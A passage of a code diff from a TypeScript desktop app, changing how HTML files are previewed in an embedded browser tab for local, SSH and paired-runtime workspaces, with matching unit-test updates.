-    openFilePreviewToSide({
-      language: 'html',
-      filePath: '/srv/repo/example.html',
-      worktreeId: 'wt-1',
-      sourceGroupId: 'source-group'
-    })
-
-    expect(mocks.toastError).toHaveBeenCalledWith('streaming unavailable')
-    expect(mocks.createEmptySplitGroup).not.toHaveBeenCalled()
-    expect(mocks.closeEmptyGroup).not.toHaveBeenCalled()
-    expect(mocks.createWebRuntimeSessionBrowserTab).not.toHaveBeenCalled()
-    expect(mocks.createBrowserTab).not.toHaveBeenCalled()
-  })
-})
diff --git a/src/renderer/src/lib/file-preview.test.ts b/src/renderer/src/lib/file-preview.test.ts
index 07f5239f1ab..27c8ca1e2ce 100644
--- a/src/renderer/src/lib/file-preview.test.ts
+++ b/src/renderer/src/lib/file-preview.test.ts
@@ -11,7 +11,8 @@ import { folderWorkspaceKey } from '../../../shared/workspace-scope'
 function browserActionState(connectionId: string | null = null): never {
   return {
     repos: [{ id: 'repo-1', connectionId }],
-    worktreesByRepo: { 'repo-1': [{ id: 'wt-1', repoId: 'repo-1' }] }
+    worktreesByRepo: { 'repo-1': [{ id: 'wt-1', repoId: 'repo-1' }] },
+    getKnownWorktreeById: () => ({ id: 'wt-1', path: '/repo' })
   } as never
 }
 
@@ -22,10 +23,14 @@ const mocks = vi.hoisted(() => ({
   } as
     | { state: 'enabled'; provider: 'local-client' | 'paired-runtime' }
     | { state: 'hidden'; reason: string },
-  closeEmptyGroup: vi.fn(),
   createBrowserTab: vi.fn(),
   createEmptySplitGroup: vi.fn(() => 'group-2'),
-  createWebRuntimeSessionBrowserTab: vi.fn(),
+  setActiveBrowserTab: vi.fn(),
+  setActiveBrowserPage: vi.fn(),
+  focusGroup: vi.fn(),
+  activateTab: vi.fn(),
+  unifiedTabsByWorktree: {} as Record<string, unknown[]>,
+  browserTabsByWorktree: {} as Record<string, unknown[]>,
   environmentId: null as string | null,
   connectionId: null as string | null,
   layoutByWorktree: {} as Record<string, unknown>,
@@ -42,16 +47,18 @@ vi.mock('@/lib/worktree-runtime-owner', () => ({
   getRuntimeEnvironmentIdForWorktree: () => mocks.environmentId
 }))
 
-vi.mock('@/runtime/web-runtime-session', () => ({
-  createWebRuntimeSessionBrowserTab: mocks.createWebRuntimeSessionBrowserTab
-}))
-
 vi.mock('@/store', () => ({
   useAppStore: {
     getState: () => ({
-      closeEmptyGroup: mocks.closeEmptyGroup,
       createBrowserTab: mocks.createBrowserTab,
       createEmptySplitGroup: mocks.createEmptySplitGroup,
+      setActiveBrowserTab: mocks.setActiveBrowserTab,
+      setActiveBrowserPage: mocks.setActiveBrowserPage,
+      focusGroup: mocks.focusGroup,
+      activateTab: mocks.activateTab,
+      unifiedTabsByWorktree: mocks.unifiedTabsByWorktree,
+      browserTabsByWorktree: mocks.browserTabsByWorktree,
+      getKnownWorktreeById: () => ({ id: 'wt-1', path: '/srv/repo' }),
       groupsByWorktree: {},
       layoutByWorktree: mocks.layoutByWorktree,
       repos: [{ id: 'repo-1', connectionId: mocks.connectionId }],
@@ -64,13 +71,33 @@ vi.mock('@/store', () => ({
 
 beforeEach(() => {
   vi.clearAllMocks()
-  mocks.createWebRuntimeSessionBrowserTab.mockResolvedValue(true)
   mocks.browserAvailability = { state: 'enabled', provider: 'local-client' }
   mocks.environmentId = null
   mocks.connectionId = null
   mocks.layoutByWorktree = {}
+  mocks.browserTabsByWorktree = {}
+  mocks.unifiedTabsByWorktree = {}
 })
 
+/**
+ * What a preview open looks like now: a browser tab located by the document, never a URL.
+ * `activate` is the caller's call — opening a file moves the reader to it, a side preview does not.
+ */
+function docPreviewCall(filePath: string, extra: Record<string, unknown> = {}): unknown[] {
+  return [
+    'wt-1',
+    'data:text/html,',
+    {
+      docLocation: { kind: 'workspace-doc', worktreeId: 'wt-1', filePath },
+      title: filePath.slice(filePath.lastIndexOf('/') + 1),
+      targetGroupId: undefined,
+      browserRuntimeEnvironmentId: null,
+      activate: false,
+      ...extra
+    }
+  ]
+}
+
 describe('openFileInBrowserTab', () => {
   it('opens a local file URL in the Orca browser with the filename as title', () => {
     openFileInBrowserTab({
@@ -84,23 +111,158 @@ describe('openFileInBrowserTab', () => {
     })
   })
 
-  it('creates paired-runtime file browsers at the owning host', () => {
+  it('renders a paired-runtime file as a local doc preview instead of a runtime browser tab', () => {
     mocks.environmentId = 'runtime-1'
     mocks.browserAvailability = { state: 'enabled', provider: 'paired-runtime' }
 
-    openFileInBrowserTab({ filePath: '/srv/repo/example.html', worktreeId: 'wt-1' })
-
-    expect(mocks.createWebRuntimeSessionBrowserTab).toHaveBeenCalledWith({
-      worktreeId: 'wt-1',
-      environmentId: 'runtime-1',
-      url: 'file:///srv/repo/example.html',
-      stagedTitle: 'example.html',
-      stagedFocusAddressBar: false
+    const plan = openFileInBrowserTab({
+      filePath: '/srv/repo/docs/example.html',
+      worktreeId: 'wt-1'
     })
+
+    expect(plan).toEqual({ status: 'doc-preview' })
+    expect(mocks.createBrowserTab).toHaveBeenCalledWith(
+      ...docPreviewCall('/srv/repo/docs/example.html', { activate: true })
+    )
+  })
+
+  // Why the reuse case is pinned: two tabs of one document would each mint their own grant on the
+  // same file, and the reader asked to look at the document, not to open a second copy.
+  it('activates the tab a document is already open in', () => {
+    mocks.connectionId = 'ssh-1'
+    mocks.browserTabsByWorktree = {
+      'wt-1': [
+        {
+          id: 'browser-9',
+          docLocation: {
+            kind: 'workspace-doc',
+            worktreeId: 'wt-1',
+            filePath: '/home/alice/report.html'
+          }
+        }
+      ]
+    }
+
+    openFileInBrowserTab({ filePath: '/home/alice/report.html', worktreeId: 'wt-1' })
+
+    expect(mocks.setActiveBrowserTab).toHaveBeenCalledWith('browser-9')
     expect(mocks.createBrowserTab).not.toHaveBeenCalled()
   })
 
-  it('creates paired-runtime side previews in the requested split', () => {
+  // Why the unified tab and not just the browser state: the pane renders whatever its group's
+  // active tab is, so reopening a document from a terminal left the reader looking at the terminal
+  // with the preview "active" behind it.
+  it('brings an already-open document to the front of its group', () => {
+    mocks.connectionId = 'ssh-1'
+    mocks.browserTabsByWorktree = {
+      'wt-1': [
+        {
+          id: 'browser-9',
+          docLocation: {
+            kind: 'workspace-doc',
+            worktreeId: 'wt-1',
+            filePath: '/home/alice/report.html'
+          }
+        }
+      ]
+    }
+    mocks.unifiedTabsByWorktree = {
+      'wt-1': [
+        { id: 'tab-terminal', contentType: 'terminal', entityId: 'term-1', groupId: 'group-1' },
+        { id: 'tab-doc', contentType: 'browser', entityId: 'browser-9', groupId: 'group-1' }
+      ]
+    }
+
+    openFileInBrowserTab({ filePath: '/home/alice/report.html', worktreeId: 'wt-1' })
+
+    expect(mocks.focusGroup).toHaveBeenCalledWith('wt-1', 'group-1')
+    expect(mocks.activateTab).toHaveBeenCalledWith('tab-doc')
+    expect(mocks.setActiveBrowserTab).toHaveBeenCalledWith('browser-9')
+    expect(mocks.createBrowserTab).not.toHaveBeenCalled()
+  })
+
+  // The other half of the same switch: a preview opened to the side belongs beside the source, so
+  // reusing one must not move the reader off what they are working in.
+  it('leaves the reader in place when a side preview reuses an open document', () => {
+    mocks.connectionId = 'ssh-1'
+    mocks.browserTabsByWorktree = {
+      'wt-1': [
+        {
+          id: 'browser-9',
+          docLocation: {
+            kind: 'workspace-doc',
+            worktreeId: 'wt-1',
+            filePath: '/home/alice/report.html'
+          }
+        }
+      ]
+    }
+    mocks.unifiedTabsByWorktree = {
+      'wt-1': [{ id: 'tab-doc', contentType: 'browser', entityId: 'browser-9', groupId: 'group-1' }]
+    }
+
+    openFilePreviewToSide({
+      language: 'html',
+      filePath: '/home/alice/report.html',
+      worktreeId: 'wt-1',
+      sourceGroupId: 'group-1'
+    })
+
+    expect(mocks.activateTab).not.toHaveBeenCalled()
+    expect(mocks.focusGroup).not.toHaveBeenCalled()
+  })
+
+  it('opens a second document in its own tab', () => {
+    mocks.connectionId = 'ssh-1'
+    mocks.browserTabsByWorktree = {
+      'wt-1': [
+        {
+          id: 'browser-9',
+          docLocation: { kind: 'workspace-doc', worktreeId: 'wt-1', filePath: '/home/alice/a.html' }
+        }
+      ]
+    }
+
+    openFileInBrowserTab({ filePath: '/home/alice/b.html', worktreeId: 'wt-1' })
+
+    expect(mocks.setActiveBrowserTab).not.toHaveBeenCalled()
+    expect(mocks.createBrowserTab).toHaveBeenCalledWith(
+      ...docPreviewCall('/home/alice/b.html', { activate: true })
+    )
+  })
+
+  it('renders an SSH file as a local doc preview', () => {
+    mocks.connectionId = 'ssh-1'
+
+    const plan = openFileInBrowserTab({
+      filePath: '/home/alice/report.html',
+      worktreeId: 'wt-1'
+    })
+
+    expect(plan).toEqual({ status: 'doc-preview' })
+    expect(mocks.createBrowserTab).toHaveBeenCalledWith(
+      ...docPreviewCall('/home/alice/report.html', { activate: true })
+    )
+  })
+
+  it('previews a paired runtime whose managed browser is unavailable', () => {
+    mocks.environmentId = 'runtime-1'
+    mocks.browserAvailability = { state: 'hidden', reason: 'streaming unavailable' }
+
+    openFilePreviewToSide({
+      language: 'html',
+      filePath: '/srv/repo/example.html',
+      worktreeId: 'wt-1',
+      sourceGroupId: 'group-1'
+    })
+
+    expect(mocks.toastError).not.toHaveBeenCalled()
+    expect(mocks.createBrowserTab).toHaveBeenCalledOnce()
+  })
+
+  // Why the unfocused split: the preview opens in the background, and a host snapshot reads an
+  // activated empty group as a terminal pane.
+  it('creates paired-runtime side previews in an unfocused right-hand split', () => {
     mocks.environmentId = 'runtime-1'
     mocks.browserAvailability = { state: 'enabled', provider: 'paired-runtime' }
 
@@ -114,17 +276,9 @@ describe('openFileInBrowserTab', () => {
     expect(mocks.createEmptySplitGroup).toHaveBeenCalledWith('wt-1', 'group-1', 'right', {
       activate: false
     })
-    expect(mocks.createWebRuntimeSessionBrowserTab).toHaveBeenCalledWith({
-      worktreeId: 'wt-1',
-      environmentId: 'runtime-1',
-      url: 'file:///srv/repo/example.html',
-      clientTargetGroupId: 'group-2',
-      clientTargetGroupCreated: true,
-      focusOnCreate: false,
-      stagedTitle: 'example.html',
-      stagedFocusAddressBar: false
-    })
-    expect(mocks.createBrowserTab).not.toHaveBeenCalled()
+    expect(mocks.createBrowserTab).toHaveBeenCalledWith(
+      ...docPreviewCall('/srv/repo/example.html', { targetGroupId: 'group-2' })
+    )
   })
 
   it('creates local side previews in an activated right-hand split', () => {
@@ -143,175 +297,101 @@ describe('openFileInBrowserTab', () => {
     })
   })
 
-  it('reports a paired-runtime recovery failure without an unhandled rejection', async () => {
+  it('rejects a local workspace whose managed browser is unavailable before creating a split', () => {
+    mocks.browserAvailability = { state: 'hidden', reason: 'browser unavailable' }
+
+    openFilePreviewToSide({
+      language: 'html',
+      filePath: '/tmp/example.html',
+      worktreeId: 'wt-1',
+      sourceGroupId: 'group-1'
+    })
+
+    expect(mocks.toastError).toHaveBeenCalledWith('browser unavailable')
+    expect(mocks.createEmptySplitGroup).not.toHaveBeenCalled()
+    expect(mocks.createBrowserTab).not.toHaveBeenCalled()
+  })
+
+  // Why: the host's files.read is worktree-scoped, so this path would otherwise 404 inside the
+  // preview with nothing naming the boundary the user hit.
+  it('names the worktree boundary for a paired document outside the workspace', () => {
     mocks.environmentId = 'runtime-1'
     mocks.browserAvailability = { state: 'enabled', provider: 'paired-runtime' }
-    mocks.createWebRuntimeSessionBrowserTab.mockRejectedValue(new Error('cleanup unknown'))
 
     openFilePreviewToSide({
       language: 'html',
-      filePath: '/srv/repo/example.html',
+      filePath: '/tmp/agent-scratch/report.html',
       worktreeId: 'wt-1',
       sourceGroupId: 'group-1'
     })
 
-    await vi.waitFor(() =>
-      expect(mocks.toastError).toHaveBeenCalledWith('Unable to open this file in Orca Browser.')
+    expect(mocks.toastError).toHaveBeenCalledWith(
+      "Files outside the workspace can't be previewed on a paired server yet."
     )
-    expect(mocks.closeEmptyGroup).not.toHaveBeenCalled()
-    expect(mocks.createBrowserTab).not.toHaveBeenCalled()
-  })
-
-  it('does not delete a split owned by an overlapping paired preview', async () => {
-    mocks.environmentId = 'runtime-1'
-    mocks.browserAvailability = { state: 'enabled', provider: 'paired-runtime' }
-    mocks.createEmptySplitGroup.mockImplementationOnce(() => {
-      mocks.layoutByWorktree = {
-        'wt-1': {
-          type: 'split',
-          direction: 'horizontal',
-          first: { type: 'leaf', groupId: 'group-1' },
-          second: { type: 'leaf', groupId: 'group-2' }
-        }
-      }
-      return 'group-2'
-    })
-    let rejectFirst!: (error: Error) => void
-    let resolveSecond!: (created: boolean) => void
-    mocks.createWebRuntimeSessionBrowserTab
-      .mockReturnValueOnce(
-        new Promise<boolean>((_resolve, reject) => {
-          rejectFirst = reject
-        })
-      )
-      .mockReturnValueOnce(
-        new Promise<boolean>((resolve) => {
-          resolveSecond = resolve
-        })
-      )
-
-    const preview = {
-      language: 'html',
-      filePath: '/srv/repo/example.html',
-      worktreeId: 'wt-1',
-      sourceGroupId: 'group-1'
-    }
-    openFilePreviewToSide(preview)
-    openFilePreviewToSide(preview)
-    expect(mocks.createWebRuntimeSessionBrowserTab).toHaveBeenNthCalledWith(
-      1,
-      expect.objectContaining({
-        clientTargetGroupId: 'group-2',
-        clientTargetGroupCreated: true
-      })
-    )
-    rejectFirst(new Error('first preview failed'))
-
-    await vi.waitFor(() => expect(mocks.toastError).toHaveBeenCalledOnce())
-    expect(mocks.closeEmptyGroup).not.toHaveBeenCalled()
-    expect(mocks.createWebRuntimeSessionBrowserTab).toHaveBeenNthCalledWith(
-      2,
-      expect.objectContaining({
-        clientTargetGroupId: 'group-2',
-        clientTargetGroupCreated: false
-      })
-    )
-
-    resolveSecond(true)
-    await vi.waitFor(() => expect(mocks.toastError).toHaveBeenCalledOnce())
-  })
-
-  it('does not send a runtime-owned file path to the Electron browser provider', () => {
-    mocks.environmentId = 'runtime-1'
-
-    openFilePreviewToSide({
-      language: 'html',
-      filePath: '/srv/repo/example.html',
-      worktreeId: 'wt-1',
-      sourceGroupId: 'group-1'
-    })
-
-    expect(mocks.toastError).toHaveBeenCalledWith('Unable to open this file in Orca Browser.')
     expect(mocks.createEmptySplitGroup).not.toHaveBeenCalled()
     expect(mocks.createBrowserTab).not.toHaveBeenCalled()
-    expect(mocks.createWebRuntimeSessionBrowserTab).not.toHaveBeenCalled()
   })
 
-  it('rejects unavailable paired-web previews before creating a split', () => {
-    mocks.environmentId = 'runtime-1'
-    mocks.browserAvailability = { state: 'hidden', reason: 'streaming unavailable' }
-
-    openFilePreviewToSide({
-      language: 'html',
-      filePath: '/srv/repo/example.html',
-      worktreeId: 'wt-1',
-      sourceGroupId: 'group-1'
-    })
-
-    expect(mocks.toastError).toHaveBeenCalledWith('streaming unavailable')
-    expect(mocks.createEmptySplitGroup).not.toHaveBeenCalled()
-    expect(mocks.createWebRuntimeSessionBrowserTab).not.toHaveBeenCalled()
-    expect(mocks.createBrowserTab).not.toHaveBeenCalled()
-  })
-
-  it('does not create a side split for unsupported SSH previews', () => {
+  it('keeps previewing an SSH document outside the worktree root', () => {
     mocks.connectionId = 'ssh-1'
 
-    openFilePreviewToSide({
-      language: 'html',
-      filePath: '/home/alice/report.html',
-      worktreeId: 'wt-1',
-      sourceGroupId: 'group-1'
-    })
-
-    expect(mocks.toastError).toHaveBeenCalledWith(REMOTE_FILE_BROWSER_UNSUPPORTED_MESSAGE)
-    expect(mocks.createEmptySplitGroup).not.toHaveBeenCalled()
-  })
-
-  it('returns unsupported for SSH worktrees without creating a local file URL tab', () => {
-    mocks.connectionId = 'ssh-1'
-
-    const result = openFileInBrowserTab({
-      filePath: '/home/alice/report.html',
+    const plan = openFileInBrowserTab({
+      filePath: '/tmp/agent-scratch/report.html',
       worktreeId: 'wt-1'
     })
 
-    expect(result).toEqual({
-      status: 'unsupported',
-      reason: 'remote-worktree',
-      message: REMOTE_FILE_BROWSER_UNSUPPORTED_MESSAGE
+    expect(plan).toEqual({ status: 'doc-preview' })
+    expect(mocks.createBrowserTab).toHaveBeenCalledOnce()
+    expect(mocks.toastError).not.toHaveBeenCalled()
+  })
+
+  it('ignores languages that have no preview surface', () => {
+    openFilePreviewToSide({
+      language: 'typescript',
+      filePath: '/tmp/example.ts',
+      worktreeId: 'wt-1',
+      sourceGroupId: 'group-1'
     })
+
+    expect(mocks.createEmptySplitGroup).not.toHaveBeenCalled()
     expect(mocks.createBrowserTab).not.toHaveBeenCalled()
   })
 })
 
 describe('canShowWorkspaceFileBrowserAction', () => {
-  it('hides incapable paired providers and permits capable runtime providers', () => {
+  it('permits paired runtimes regardless of managed-browser capability', () => {
     mocks.environmentId = 'runtime-1'
     mocks.browserAvailability = { state: 'hidden', reason: 'streaming unavailable' }
     expect(
       canShowWorkspaceFileBrowserAction(browserActionState(), 'wt-1', '/repo/report.html')
-    ).toBe(false)
+    ).toBe(true)
 
     mocks.browserAvailability = { state: 'enabled', provider: 'paired-runtime' }
     expect(
       canShowWorkspaceFileBrowserAction(browserActionState(), 'wt-1', '/repo/report.html')
     ).toBe(true)
-    expect(
-      canShowWorkspaceFileBrowserAction(browserActionState('ssh-1'), 'wt-1', '/repo/report.html')
-    ).toBe(false)
   })
 
-  it('permits local files but hides SSH paths from the local browser provider', () => {
+  // Why: hiding it would leave the limitation unexplained; activating it is what surfaces the
+  // worktree-boundary message.
+  it('keeps the action visible for a paired document outside the worktree', () => {
+    mocks.environmentId = 'runtime-1'
+
+    expect(
+      canShowWorkspaceFileBrowserAction(browserActionState(), 'wt-1', '/tmp/outside/report.html')
+    ).toBe(true)
+  })
+
+  it('permits both local and SSH files', () => {
     expect(
       canShowWorkspaceFileBrowserAction(browserActionState(), 'wt-1', '/repo/report.html')
     ).toBe(true)
     expect(
       canShowWorkspaceFileBrowserAction(browserActionState('ssh-1'), 'wt-1', '/repo/report.html')
-    ).toBe(false)
+    ).toBe(true)
   })
 
-  it('resolves local and SSH files independently in a mixed folder workspace', () => {
+  it('hides the action while a file has no resolved owner', () => {
     const workspaceId = folderWorkspaceKey('folder-1')
     const state = {
       folderWorkspaces: [
@@ -343,7 +423,7 @@ describe('canShowWorkspaceFileBrowserAction', () => {
     ).toBe(true)
     expect(
       canShowWorkspaceFileBrowserAction(state, workspaceId, '/workspace/remote/report.html')
-    ).toBe(false)
+    ).toBe(true)
     expect(
       canShowWorkspaceFileBrowserAction(state, workspaceId, '/workspace/unknown/report.html')
     ).toBe(false)
@@ -363,4 +443,19 @@ describe('getWorkspaceFileBrowserOpenTarget', () => {
       title: 'demo page.html'
     })
   })
+
+  it('still refuses remote files, which have no local file URL', () => {
+    mocks.connectionId = 'ssh-1'
+
+    expect(
+      getWorkspaceFileBrowserOpenTarget({
+        filePath: '/home/alice/report.html',
+        worktreeId: 'wt-1'
+      })
+    ).toEqual({
+      status: 'unsupported',
+      reason: 'remote-worktree',
+      message: REMOTE_FILE_BROWSER_UNSUPPORTED_MESSAGE
+    })
+  })
 })
diff --git a/src/renderer/src/lib/file-preview.ts b/src/renderer/src/lib/file-preview.ts
index d27c1ede3d1..8c3a8782fea 100644
--- a/src/renderer/src/lib/file-preview.ts
+++ b/src/renderer/src/lib/file-preview.ts
@@ -3,36 +3,87 @@ import { absolutePathToFileUri } from '@/components/editor/markdown-internal-lin
 import { getClientCreationActionPolicy } from '@/lib/client-creation-action-policy'
 import { useCallback } from 'react'
 import { useShallow } from 'zustand/react/shallow'
+import { basename, getRelativePathInsideRoot } from '@/lib/path'
 import { getConnectionIdForFile } from '@/lib/connection-context'
 import { getConnectionIdForFileFromState } from '@/lib/connection-owner-resolution'
+import { activateBrowserWorkspaceTab } from '@/lib/browser-workspace-tab-activation'
 import { getRuntimeEnvironmentIdForWorktree } from '@/lib/worktree-runtime-owner'
-import { createWebRuntimeSessionBrowserTab } from '@/runtime/web-runtime-session'
-import { observeE2eWebRuntimeBrowserCreation } from '@/runtime/web-runtime-browser-creation-e2e-fault'
+import { translate } from '@/i18n/i18n'
 import { useAppStore } from '@/store'
 import type { AppState } from '@/store/types'
 import { findSiblingGroupId } from '@/store/slices/tabs'
+import { browserPageDocLocationsEqual } from '../../../shared/browser-page-doc-location'
+import { ORCA_BROWSER_BLANK_URL } from '../../../shared/constants'
 
 export type PreviewableLanguage = 'html'
+/** Still the answer for flows that need a real `file://` URL (e.g. dropping a file on a browser pane). */
 export const REMOTE_FILE_BROWSER_UNSUPPORTED_MESSAGE =
   'Open in Orca Browser is only available for local files.'
-const FILE_BROWSER_OPEN_FAILED_MESSAGE = 'Unable to open this file in Orca Browser.'
 
-type WorkspaceFileBrowserActionMode = 'local-client' | 'paired-runtime' | null
+/** Localized lazily: a module constant would freeze the language at import time. */
+function pairedOutsideWorktreeMessage(): string {
+  return translate(
+    'auto.lib.file.preview.pairedOutsideWorktree',
+    "Files outside the workspace can't be previewed on a paired server yet."
+  )
+}
 
-function getWorkspaceFileBrowserActionMode(
+/**
+ * How a previewable document should be rendered.
+ *
+ * `browser-tab` keeps local workspaces on the pre-existing embedded browser tab.
+ * `doc-preview` renders the document locally from the owning workspace's disk
+ * over the `orca-preview` scheme, which is the only option for SSH and paired
+ * workspaces: client-hosted browser guests refuse `file:` by design, and a
+ * `file://` URL would resolve on the wrong machine anyway.
+ */
+export type WorkspaceFilePreviewPlan =
+  | { status: 'browser-tab'; url: string; title: string }
+  | { status: 'doc-preview' }
+  | { status: 'unsupported'; message: string; reason: 'no-channel' | 'outside-worktree' }
+
+export function getWorkspaceFilePreviewPlan(
   state: AppState,
-  worktreeId: string
-): WorkspaceFileBrowserActionMode {
+  worktreeId: string,
+  filePath: string
+): WorkspaceFilePreviewPlan {
+  const connectionId = getConnectionIdForFileFromState(state, worktreeId, filePath)
+  if (connectionId === undefined) {
+    // Why: an unresolved owner can't pick a channel — reading it locally would hand a
+    // remote path to this machine's filesystem.
+    return {
+      status: 'unsupported',
+      message: REMOTE_FILE_BROWSER_UNSUPPORTED_MESSAGE,
+      reason: 'no-channel'
+    }
+  }
+  if (connectionId !== null) {
+    return { status: 'doc-preview' }
+  }
+  // Why: the doc preview needs no browser at all, so a paired runtime without the
+  // screencast capability still previews documents.
+  if (getRuntimeEnvironmentIdForWorktree(state, worktreeId)) {
+    const worktreeRoot = state.getKnownWorktreeById(worktreeId)?.path ?? null
+    if (worktreeRoot && !getRelativePathInsideRoot(filePath, worktreeRoot)) {
+      // Why: the host's files.read is worktree-scoped, so this would 404 at request time with
+      // nothing telling the user which boundary they hit.
+      return {
+        status: 'unsupported',
+        message: pairedOutsideWorktreeMessage(),
+        reason: 'outside-worktree'
+      }
+    }
+    return { status: 'doc-preview' }
+  }
   const availability = getClientCreationActionPolicy(state, worktreeId)['managed-browser']
   if (availability.state !== 'enabled') {
-    return null
+    return { status: 'unsupported', message: availability.reason, reason: 'no-channel' }
+  }
+  return {
+    status: 'browser-tab',
+    url: absolutePathToFileUri(filePath),
+    title: basename(filePath) || filePath
   }
-  const environmentId = getRuntimeEnvironmentIdForWorktree(state, worktreeId)
-  return environmentId
-    ? availability.provider === 'paired-runtime'
-      ? 'paired-runtime'
-      : null
-    : 'local-client'
 }
 
 export function canShowWorkspaceFileBrowserAction(
@@ -40,16 +91,27 @@ export function canShowWorkspaceFileBrowserAction(
   worktreeId: string,
   filePath: string
 ): boolean {
-  const mode = getWorkspaceFileBrowserActionMode(state, worktreeId)
-  return mode !== null && getConnectionIdForFileFromState(state, worktreeId, filePath) === null
+  const plan = getWorkspaceFilePreviewPlan(state, worktreeId, filePath)
+  // Why: an out-of-worktree paired doc keeps its action so activating it can say why it cannot
+  // render; hiding the control would leave the limitation unexplained.
+  return plan.status !== 'unsupported' || plan.reason === 'outside-worktree'
 }
 
 export function useWorkspaceFileBrowserActionPredicate(
   worktreeId: string | null
 ): (filePath: string) => boolean {
-  const inputs = useAppStore(
+  // Why this subscribes but does not decide: visibility must come from the same plan the action
+  // itself runs, or the two drift apart — they already disagreed about a local workspace whose
+  // managed browser is disabled. The subscription only re-renders the caller; the predicate reads
+  // the live store, so it stays identity-stable for the memoized handlers that depend on it.
+  useAppStore(
     useShallow((state) => ({
-      mode: worktreeId ? getWorkspaceFileBrowserActionMode(state, worktreeId) : null,
+      managedBrowser: worktreeId
+        ? getClientCreationActionPolicy(state, worktreeId)['managed-browser'].state
+        : null,
+      runtimeEnvironmentId: worktreeId
+        ? (getRuntimeEnvironmentIdForWorktree(state, worktreeId) ?? null)
+        : null,
       folderWorkspaces: state.folderWorkspaces,
       projectGroups: state.projectGroups,
       repos: state.repos,
@@ -58,25 +120,13 @@ export function useWorkspaceFileBrowserActionPredicate(
   )
   return useCallback(
     (filePath: string) =>
-      inputs.mode !== null &&
-      getConnectionIdForFileFromState(inputs, worktreeId, filePath) === null,
-    [inputs, worktreeId]
+      worktreeId
+        ? canShowWorkspaceFileBrowserAction(useAppStore.getState(), worktreeId, filePath)
+        : false,
+    [worktreeId]
   )
 }
 
-function reportRemoteFileBrowserOpen(result: Promise<boolean>): void {
-  observeE2eWebRuntimeBrowserCreation(result)
-  void result
-    .then((created) => {
-      if (!created) {
-        toast.error(FILE_BROWSER_OPEN_FAILED_MESSAGE)
-      }
-    })
-    .catch(() => {
-      toast.error(FILE_BROWSER_OPEN_FAILED_MESSAGE)
-    })
-}
-
 export type WorkspaceFileBrowserOpenTarget =
   | {
       status: 'ready'
@@ -89,6 +139,7 @@ export type WorkspaceFileBrowserOpenTarget =
       reason: 'remote-worktree'
     }
 
+/** `file://` resolution only; remote files have no local path, so this stays local-only. */
 export function getWorkspaceFileBrowserOpenTarget(params: {
   filePath: string
   worktreeId: string
@@ -106,50 +157,65 @@ export function getWorkspaceFileBrowserOpenTarget(params: {
   return {
     status: 'ready',
     url: absolutePathToFileUri(params.filePath),
-    title: params.filePath.split(/[/\\]/).pop() ?? params.filePath
+    title: basename(params.filePath) || params.filePath
   }
 }
 
+function openDocPreviewTab(
+  state: AppState,
+  params: { filePath: string; worktreeId: string; targetGroupId?: string; activate: boolean }
+): void {
+  const docLocation = {
+    kind: 'workspace-doc' as const,
+    worktreeId: params.worktreeId,
+    filePath: params.filePath
+  }
+  // Why reuse and not a second tab: previewing a document already on screen is a request to look at
+  // it, and two tabs of one document would each hold their own grant on the same file.
+  const existing = (state.browserTabsByWorktree[params.worktreeId] ?? []).find((tab) =>
+    browserPageDocLocationsEqual(tab.docLocation ?? null, docLocation)
+  )
+  if (existing) {
+    if (
+      !params.activate ||
+      !activateBrowserWorkspaceTab({ worktreeId: params.worktreeId, workspaceId: existing.id })
+    ) {
+      state.setActiveBrowserTab(existing.id)
+    }
+    return
+  }
+  state.createBrowserTab(params.worktreeId, ORCA_BROWSER_BLANK_URL, {
+    docLocation,
+    title: basename(params.filePath) || params.filePath,
+    targetGroupId: params.targetGroupId,
+    // Why explicitly client-local: the document is read through a grant this desktop mints, so the
+    // page never belongs to a remote runtime even when the worktree does.
+    browserRuntimeEnvironmentId: null,
+    // Why the caller decides: opening a file is a request to look at it, while a preview opened to
+    // the side belongs beside the source the reader is still working in.
+    activate: params.activate
+  })
+}
+
 export function openFileInBrowserTab(params: {
   filePath: string
   worktreeId: string
-}): WorkspaceFileBrowserOpenTarget {
-  const target = getWorkspaceFileBrowserOpenTarget(params)
-  if (target.status === 'unsupported') {
-    return target
-  }
-
+}): WorkspaceFilePreviewPlan {
   const state = useAppStore.getState()
-  const browserAvailability = getClientCreationActionPolicy(state, params.worktreeId)[
-    'managed-browser'
-  ]
-  if (browserAvailability.state !== 'enabled') {
-    toast.error(browserAvailability.reason)
-    return target
+  const plan = getWorkspaceFilePreviewPlan(state, params.worktreeId, params.filePath)
+  if (plan.status === 'unsupported') {
+    return plan
   }
-  const environmentId = getRuntimeEnvironmentIdForWorktree(state, params.worktreeId)
-  if (environmentId) {
-    if (browserAvailability.provider !== 'paired-runtime') {
-      toast.error(FILE_BROWSER_OPEN_FAILED_MESSAGE)
-      return target
-    }
-    reportRemoteFileBrowserOpen(
-      createWebRuntimeSessionBrowserTab({
-        worktreeId: params.worktreeId,
-        environmentId,
-        url: target.url,
-        stagedTitle: target.title,
-        stagedFocusAddressBar: false
-      })
-    )
-    return target
+  if (plan.status === 'doc-preview') {
+    openDocPreviewTab(state, { ...params, activate: true })
+    return plan
   }
 
-  state.createBrowserTab(params.worktreeId, target.url, {
-    title: target.title,
+  state.createBrowserTab(params.worktreeId, plan.url, {
+    title: plan.title,
     activate: true
   })
-  return target
+  return plan
 }
 
 export function canPreviewLanguage(language: string): language is PreviewableLanguage {
@@ -172,22 +238,9 @@ export function openFilePreviewToSide(params: {
 
   const state = useAppStore.getState()
   const worktreeId = params.worktreeId
-  const target = getWorkspaceFileBrowserOpenTarget({
-    filePath: params.filePath,
-    worktreeId
-  })
-  if (target.status === 'unsupported') {
-    toast.error(target.message)
-    return
-  }
-  const browserAvailability = getClientCreationActionPolicy(state, worktreeId)['managed-browser']
-  if (browserAvailability.state !== 'enabled') {
-    toast.error(browserAvailability.reason)
-    return
-  }
-  const environmentId = getRuntimeEnvironmentIdForWorktree(state, worktreeId)
-  if (environmentId && browserAvailability.provider !== 'paired-runtime') {
-    toast.error(FILE_BROWSER_OPEN_FAILED_MESSAGE)
+  const plan = getWorkspaceFilePreviewPlan(state, worktreeId, params.filePath)
+  if (plan.status === 'unsupported') {
+    toast.error(plan.message)
     return
   }
 
@@ -206,37 +259,29 @@ export function openFilePreviewToSide(params: {
   const layout = state.layoutByWorktree[worktreeId] ?? null
   const existingSibling = layout ? findSiblingGroupId(layout, sourceGroupId) : null
 
-  let targetGroupId = existingSibling
-  if (!targetGroupId) {
-    // Why: no split yet — create one to the right so the preview lands beside
-    // the editor. Remote previews stay unfocused until click, so do not activate
-    // the empty group or a host snapshot will treat it as a terminal pane.
-    targetGroupId = environmentId
+  // Why the unfocused split on a paired workspace: the preview opens in the background, and a host
